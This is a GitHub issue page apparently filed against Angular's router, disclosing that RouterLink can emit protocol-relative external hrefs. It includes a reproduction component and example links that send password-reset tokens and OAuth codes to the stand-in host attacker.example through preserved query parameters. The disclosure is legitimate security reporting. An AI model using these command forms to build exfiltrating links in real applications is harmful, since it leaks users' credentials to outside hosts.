Title: RouterLink can serialize internal route commands into protocol-relative external hrefs · Issue #69700 · angular/angular · GitHub
Open Graph Title: RouterLink can serialize internal route commands into protocol-relative external hrefs · Issue #69700 · angular/angular
X Title: RouterLink can serialize internal route commands into protocol-relative external hrefs · Issue #69700 · angular/angular
Description: Which @angular/* package(s) are the source of the bug? router Is this a regression? No Description RouterLink is documented as a directive that creates links for Angular route navigation. The input is treated as commands passed to Router...
Open Graph Description: Which @angular/* package(s) are the source of the bug? router Is this a regression? No Description RouterLink is documented as a directive that creates links for Angular route navigation. The input...
X Description: Which @angular/* package(s) are the source of the bug? router Is this a regression? No Description RouterLink is documented as a directive that creates links for Angular route navigation. The input...
Opengraph URL: https://github.com/angular/angular/issues/69700
X: @github
Domain: github.com
{"@context":"https://schema.org","@type":"DiscussionForumPosting","headline":"RouterLink can serialize internal route commands into protocol-relative external hrefs","articleBody":"### Which @angular/* package(s) are the source of the bug?\n\nrouter\n\n### Is this a regression?\n\nNo\n\n### Description\n\n`RouterLink` is documented as a directive that creates links for Angular route navigation. The input is treated as commands passed to `Router#createUrlTree`, or as a `UrlTree`.\n\n\nHowever , `RouterLink` can serialize some internal Angular route command forms into an `href` that starts with `//`.\n\nBrowsers treat `//attacker.example/path` as a scheme-relative external URL. On an HTTPS app, that becomes:\n\n```text\nhttps://attacker.example/path\n```\n\nSo an application can use `RouterLink` expecting internal Angular navigation, but Angular writes an attacker-controlled external URL into the DOM.\n\nThe issue appears when the internal route command creates an empty leading primary segment after the app root.\n\n## Attacker redirect cases\n\nValidated cases that generate an external attacker-controlled `href`:\n\n| Case | RouterLink command | Attacker-controlled input | Generated href |\n| ---- | ---------------------------------------------- | ----------------------------------------------- | -------------------------------- |\n| 1 | `['/', '', host, path]` | `host = 'attacker.example'`, `path = 'collect'` | `//attacker.example/collect?...` |\n| 2 | `['/', ...next.split('/')]` | `next = '/attacker.example/collect'` | `//attacker.example/collect?...` |\n| 3 | `[{ outlets: { primary: next } }]` | `next = '/attacker.example/collect'` | `//attacker.example/collect?...` |\n| 4 | `[{ outlets: { primary: ['', host, path] } }]` | `host = 'attacker.example'`, `path = 'collect'` | `//attacker.example/collect?...` |\n\nOn an HTTPS application, all of these browser-resolve to:\n\n```text\nhttps://attacker.example/collect?...\n```\n\n\nThe impact becomes security-relevant when the app also uses:\n\n```html\nqueryParamsHandling=\"preserve\"\n```\n\nor:\n\n```html\nqueryParamsHandling=\"merge\"\n```\n\nIn those modes, Angular can copy the current URL query parameters into the generated external link.\n\nExample trusted URL:\n\n```text\nhttps://victim.example/reset?token=RESET_TOKEN\u0026code=OAUTH_CODE\u0026next=/attacker.example/collect\n```\n\nGenerated `RouterLink` href:\n\n```html\n\u003ca\n href=\"//attacker.example/collect?token=RESET_TOKEN\u0026code=OAUTH_CODE\u0026next=...\"\n\u003e\u003c/a\u003e\n```\n\nBrowser destination:\n\n```text\nhttps://attacker.example/collect?token=RESET_TOKEN\u0026code=OAUTH_CODE\u0026next=...\n```\n\nThis can leak values such as password reset tokens, magic-login tokens, invite tokens, OAuth authorization codes, OAuth state values, or email verification tokens.\n\n## Minimal reproduction\n\n```ts\nimport { Component, inject } from \"@angular/core\";\nimport { ActivatedRoute, RouterLink } from \"@angular/router\";\n\n@Component({\n selector: \"app-home\",\n imports: [RouterLink],\n template: `\n \u003ca\n id=\"case-1\"\n target=\"_blank\"\n [routerLink]=\"noSplitCommands\"\n queryParamsHandling=\"preserve\"\n \u003e\n Case 1\n \u003c/a\u003e\n\n \u003ca\n id=\"case-2\"\n target=\"_blank\"\n [routerLink]=\"splitCommands\"\n queryParamsHandling=\"preserve\"\n \u003e\n Case 2\n \u003c/a\u003e\n\n \u003ca\n id=\"case-3\"\n target=\"_blank\"\n [routerLink]=\"primaryOutletCommands\"\n queryParamsHandling=\"preserve\"\n \u003e\n Case 3\n \u003c/a\u003e\n\n \u003ca\n id=\"case-4\"\n target=\"_blank\"\n [routerLink]=\"primaryOutletArrayCommands\"\n queryParamsHandling=\"preserve\"\n \u003e\n Case 4\n \u003c/a\u003e\n `,\n})\nexport class Home {\n private readonly route = inject(ActivatedRoute);\n\n readonly host =\n this.route.snapshot.queryParamMap.get(\"host\") ?? \"attacker.example\";\n\n readonly path = this.route.snapshot.queryParamMap.get(\"path\") ?? \"collect\";\n\n readonly next =\n this.route.snapshot.queryParamMap.get(\"next\") ??\n `/${this.host}/${this.path}`;\n\n readonly noSplitCommands = [\"/\", \"\", this.host, this.path];\n\n readonly splitCommands = [\"/\", ...this.next.split(\"/\")];\n\n readonly primaryOutletCommands = [{ outlets: { primary: this.next } }];\n\n readonly primaryOutletArrayCommands = [\n { outlets: { primary: [\"\", this.host, this.path] } },\n ];\n}\n```\n\n## Additional\n\nA normal left-click without `target` may be intercepted by Angular. However, the external `href` already exists in the DOM and can still be followed by native anchor navigation paths such as:\n\n```text\ntarget=\"_blank\", \"_top\", \"_parent\", or named target\nmiddle-click\nCtrl/Cmd-click\ncontext menu -\u003e open link in new tab/window\nSSR / pre-hydration link following\nno-JavaScript clients\ncrawlers, preview bots, or link scanners\nchild click handlers that call stopPropagation() without preventDefault()\n```\n\n### Please provide a link to a minimal reproduction of the bug\n\nThis was previously reported at https://issuetracker.google.com/u/1/issues/531036578, however it is not considered a problem, I believe it should be reconsidered\n ","author":{"url":"https://github.com/SkyZeroZx","@type":"Person","name":"SkyZeroZx"},"datePublished":"2026-07-09T04:12:27.000Z","interactionStatistic":{"@type":"InteractionCounter","interactionType":"https://schema.org/CommentAction","userInteractionCount":3},"url":"https://github.com/69700/angular/issues/69700"}
| route-pattern | /_view_fragments/issues/show/:user_id/:repository/:id/issue_layout(.:format) |
| route-controller | voltron_issues_fragments |
| route-action | issue_layout |
| fetch-nonce | v2:6db9f198-8f53-e535-f227-bb0888a77b5e |
| current-catalog-service-hash | 81bb79d38c15960b92d99bca9288a9108c7a47b18f2423d0f6438c5b7bcd2114 |
| request-id | DBD0:2D9F61:223EB5:2E20C2:6A628FD0 |
| html-safe-nonce | 83718a55b465fd135df11ce5ef677b30d52db882405ab30f41e053872e062b35 |
| visitor-payload | eyJyZWZlcnJlciI6IiIsInJlcXVlc3RfaWQiOiJEQkQwOjJEOUY2MToyMjNFQjU6MkUyMEMyOjZBNjI4RkQwIiwidmlzaXRvcl9pZCI6IjcyMTY2MzM1ODg0NjEyNDQzNjgiLCJyZWdpb25fZWRnZSI6ImlhZCIsInJlZ2lvbl9yZW5kZXIiOiJpYWQifQ== |
| visitor-hmac | 5e28dd718fb586bbbf2649353d710b6b30dbea04d128df2ad78d3519c8914881 |
| hovercard-subject-tag | issue:4843092397 |
| github-keyboard-shortcuts | repository,issues,copilot |
| google-site-verification | Apib7-x98H0j5cPqHWwSMm6dNU4GmODRoqxLiDzdx9I |
| octolytics-url | https://collector.github.com/github/collect |
| analytics-location | / |
| fb:app_id | 1401488693436528 |
| apple-itunes-app | app-id=1477376905, app-argument=https://github.com/_view_fragments/issues/show/angular/angular/69700/issue_layout |
| twitter:image | https://opengraph.githubassets.com/22f702178902781108e16242dfdf5ac0f5eb3c2c5825ebb37ef385f514cff85f/angular/angular/issues/69700 |
| twitter:card | summary_large_image |
| og:image | https://opengraph.githubassets.com/22f702178902781108e16242dfdf5ac0f5eb3c2c5825ebb37ef385f514cff85f/angular/angular/issues/69700 |
| og:image:alt | Which @angular/* package(s) are the source of the bug? router Is this a regression? No Description RouterLink is documented as a directive that creates links for Angular route navigation. The input... |
| og:image:width | 1200 |
| og:image:height | 600 |
| og:site_name | GitHub |
| og:type | object |
| og:author:username | SkyZeroZx |
| hostname | github.com |
| expected-hostname | github.com |
| None | ac2209d8cb6970a1bd08cb0a3f821d7166ac544c2ca1c87819c335bb84310ecd |
| turbo-cache-control | no-preview |
| go-import | github.com/angular/angular git https://github.com/angular/angular.git |
| octolytics-dimension-user_id | 139426 |
| octolytics-dimension-user_login | angular |
| octolytics-dimension-repository_id | 24195339 |
| octolytics-dimension-repository_nwo | angular/angular |
| octolytics-dimension-repository_public | true |
| octolytics-dimension-repository_is_fork | false |
| octolytics-dimension-repository_network_root_id | 24195339 |
| octolytics-dimension-repository_network_root_nwo | angular/angular |
| turbo-body-classes | logged-out env-production page-responsive |
| disable-turbo | false |
| browser-stats-url | https://api.github.com/_private/browser/stats |
| browser-errors-url | https://api.github.com/_private/browser/errors |
| release | 2fca8cd598678aaa64706088ad13b4e19177e108 |
| ui-target | full |
| theme-color | #1e2327 |
| color-scheme | light dark |
Links:
Viewport: width=device-width